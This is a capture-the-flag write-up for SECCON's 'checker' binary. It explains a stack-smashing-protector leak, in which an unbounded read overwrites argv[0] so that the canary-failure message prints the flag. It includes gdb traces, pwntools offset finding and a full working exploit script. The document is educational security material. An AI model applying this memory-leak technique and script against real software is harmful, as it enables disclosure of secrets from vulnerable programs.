This was an exploit challenge that serves as a nice introduction to the concept of Stack Smashing Protector leaking.
$ file checker
checker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped
Here's a quick run of this binary:
$ ./checker
Hello! What is your name?
NAME : Name
Do you know flag?
>> no
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : flag
You are a liar...
Lets take a peek at the assembly for this binary.
We can see the first thing it does is set up a stack canary (0x40081c). This is the standard stack protection that is added when you compile the binary, so initially I didn't think much of it.
Next, it prints out a string "Hello! What is your name?.NAME : ". It calls the function named getaline. Once that input is received, it enters a loop, getting input and waiting for the user to input "yes". Let's take a min to understand what the getaline function does.
0x400920 -- Standard function prologue
0x400928 -- Save the argument to this function (passed in rdi) onto the stack for later reference.
0x40092c -- Read in the stack canary, save it to the stack. Clear our the reg that was holding it.
0x40093b -- Start off our currentCharacter variable with 255. This could have been anything other than 0 really.
0x40093f -- Set the number of character that we've read to be 0 (because we haven't read any yet).
0x40096b -- Check if our last read character is a null byte (value of 0). If so, go to 0x40098e. If not, go to 0x400973.
0x400973 -- Read in a single byte from stdin into our currentCharacter buffer. If we read in 0 bytes, go to 0x40098e. Note, this doesn't actually check for errors... It really should check if the value is less than 0 and act accordingly.
Here's the next part:
0x400948 -- Check if we hit a newline character (ASCII encoded, this is the value 0xa) if so, replace it in the currentChar buffer with a null.
0x400954 -- Store our just-read in character into the buffer we were given as the argument. Increment our number of character read counter by 1.
0x40098e -- Check the canary, to go the fail if needed. Return the number of characters we read.
Note, that out of this whole method, we don't actually stop after a given number of characters. That is to say, we have an unlimited amount of characters we can read in each time. This function is basically equivalent to the known bad function gets. With this in mind, we can look for different things we can overwrite.
After you get out of the loop, you're asked for the value of the flag. The value you give it will be stored on the stack, while the flag is in the BSS section. Those two values will be string compared, and the output given accordingly. To be honest, I initially went down the path of trying to get to the winning code path. This is possible since you have an arbitrarily long write for your name. Your name variable is sitting above the flag in the BSS section. Therefore, if you simply write a long enough value (say 0x81 "A" characters), you can "guess" the flag. Here's an example:
$ ./checker
Hello! What is your name?
NAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : A
Thank you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!
While you pass the strcmp test, it doesn't really mean anything since you don't actually know the flag value. I got stuck on this for a bit, trying to find a way to iteratively discover the flag using this. In hind sight, I'm fairly confident this was placed in the challenge on purpose to cause people to look for the wrong solution.
Enter the Stack Smashing Protector. This is a feature built into compilers. In gcc, this is called -fstack-protector. Depending on what version of gcc you use, this may be default enabled or not. The concept is fairly simple. Add a variable into each function that you write (transparently to you), that will be random per instantiation of the binary. It is set on the stack as the first thing that's done, and checked that the value has not changed as the last thing your function does prior to returning. Again, this is entirely transparent to the code author.
It's actually fairly helpful and can be a pain in the butt, turning possibly exploitable overflows into simple crashes. However, there's a little gotcha here that was discovered. What happens when you cause this check to fail?
$ ./checker
Hello! What is your name?
NAME : A
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You are a liar...
*** stack smashing detected ***: ./checker terminated
Aborted (core dumped)
The interesting thing to note here is the "*** stack smashing detected ***: ./checker terminated" portion. Specifically, it is telling me the name of the application that crashed "./checker". Where does it get this information from? When an application starts, int main gets three variables whether it wants them or not. The first, argc, indicates how many arguments were supplied to this binary. The second argv, is an array of pointers to each of the arguments. The third, is a variable named envp that, like argv, contains an array of pointers, only this time to environment variables. Can you see the vulnerability?
If you're overflowing the main stack, or if you have a long enough overwrite, it's possible for you to continue to write upwards on the stack until you reach argv[0]. This is the pointer that is being dereferenced in the crash error message. This is the case that we have we have an unlimited readline function (so long as we have no nulls) that will allow us to overflow our buffer all the way up to the argv[0] pointer. With this in mind, we can write an address that we'd like to leak. Say, for instance, the global flag variable? That will be our game plan here.
Again, let's forget about the name parameter, as it doesn't appear to help us too much here. The flag variable is in the BSS segment, and thus in this compilation is a static address (0x6010c0). Remember though, this is a 64-bit binary, so we will need to pad this address with zeros to be able to dereference it correctly.
Let's find the correct offset from our buffer input to argv[0] using a cyclic generator from pwntools.
In [1]: from pwn import *
In [2]: cyclic(512,n=8)
Out[2]: 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac'
Now, we input that into our program and see where it crashes.
$ gdb ./checker
GNU gdb (Ubuntu 7.11.90.20161005-0ubuntu1) 7.11.90.20161005-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./checker...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/checker
Hello! What is your name?
NAME : A
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac
You are a liar...
Program received signal SIGSEGV, Segmentation fault.
__GI_getenv (name=0x7ffff7b9bdf7 "BC_FATAL_STDERR_", name@entry=0x7ffff7b9bdf5 "LIBC_FATAL_STDERR_") at getenv.c:84
84 getenv.c: No such file or directory.
(gdb) bt
#0 __GI_getenv (name=0x7ffff7b9bdf7 "BC_FATAL_STDERR_", name@entry=0x7ffff7b9bdf5 "LIBC_FATAL_STDERR_") at getenv.c:84
#1 0x00007ffff7a4b1e2 in __GI___libc_secure_getenv (name=name@entry=0x7ffff7b9bdf5 "LIBC_FATAL_STDERR_") at secure-getenv.c:29
#2 0x00007ffff7a89e5d in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff7b9d8ec "*** %s ***: %s terminated\n")
at ../sysdeps/posix/libc_fatal.c:80
#3 0x00007ffff7b2b2c4 in __GI___fortify_fail (msg=<optimized out>, msg@entry=0x7ffff7b9d8ce "stack smashing detected") at fortify_fail.c:37
#4 0x00007ffff7b2b270 in __stack_chk_fail () at stack_chk_fail.c:28
#5 0x000000000040091e in main ()
Oops! Notice that we're actually crashing when dereferencing an environment variable (getenv). This is because, as mentioned earlier, the envp is sitting right after our argv that we want to overwrite. So basically we need to write less, to not mess up the environment variable. Basically just keep messing with it until you don't kill the binary on the environment variable call.
(gdb) r
Starting program: /home/user/tmp/checker
Hello! What is your name?
NAME : A
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxa
You are a liar...
Program received signal SIGSEGV, Segmentation fault.
strlen () at ../sysdeps/x86_64/strlen.S:106
106 ../sysdeps/x86_64/strlen.S: No such file or directory.
(gdb) x/10i $rip
=> 0x7ffff7a9deb6 <strlen+38>: movdqu xmm4,XMMWORD PTR [rax]
0x7ffff7a9deba <strlen+42>: pcmpeqb xmm4,xmm0
0x7ffff7a9debe <strlen+46>: pmovmskb edx,xmm4
0x7ffff7a9dec2 <strlen+50>: test edx,edx
0x7ffff7a9dec4 <strlen+52>: je 0x7ffff7a9deca <strlen+58>
0x7ffff7a9dec6 <strlen+54>: bsf eax,edx
0x7ffff7a9dec9 <strlen+57>: ret
0x7ffff7a9deca <strlen+58>: and rax,0xfffffffffffffff0
0x7ffff7a9dece <strlen+62>: pcmpeqb xmm1,XMMWORD PTR [rax+0x10]
0x7ffff7a9ded3 <strlen+67>: pcmpeqb xmm2,XMMWORD PTR [rax+0x20]
(gdb) p/x $rax
$1 = 0x6261616161616177
Much better! Now it's dying on strlen of our pointer. No surprise it will die here since our pointer points to a place in the binary that is unlikely to be mapped. Let's figure out where this actually is in our input now:
In [6]: cyclic_find(0x6261616161616177,n=8)
Out[6]: 376
Easy as that. We now know that the argv[0] pointer is 376 bytes from the start of our controlled buffer. But wait, what about the nulls? The readline function stops after reading a null. We do have a nice loop up above where we can use this function as much as we want. This means, we can write enough to cause the last byte of our pointer to be a newline. The function will then turn this into a null for us. We can walk down from there, nulling out a single byte at a time.
Using pwntools, this is pretty simple. Let's just loop 8 times, and null out the entire pointer:
for i in range(8):
p.recvuntil(">> ")
p.sendline("A"*(376+8-i))
Notice, 376 is the index we found, 8 is the size of the pointer in 64bit architecture. So we're basically seeking to the end of this pointer and one-by-one forcing null values to go there. The rest of the exploit is fairly simple now. We can just write our pointer directly at that offset using the final flag check section. Since we have been writing "A" for all our values, it's improbable that we would pass the stack check. It's not impossible as far as I know, but certainly we can be fairly confident that we will cause this binary to stack protector fail.
Putting it all together
#!/usr/bin/env python
from pwn import *
elf = ELF("checker")
p = process("checker")
#p = remote("checker.pwn.seccon.jp",14726)
p.recvuntil("NAME : ")
p.sendline("Blerg") # This doesn't matter
# Zero out argv[0]
for i in range(8):
p.recvuntil(">> ")
p.sendline("A"*(376+8-i))
# Now we can say yes
p.sendline("yes")
# Send the address of the flag to argv[0] to have the error message leak the flag for us.
p.sendline(cyclic(376,n=8) + p64(elf.symbols['flag']))
p.interactive()
Great example from SECCON for a mostly practical use of the so-called Stack Smash Protector leak.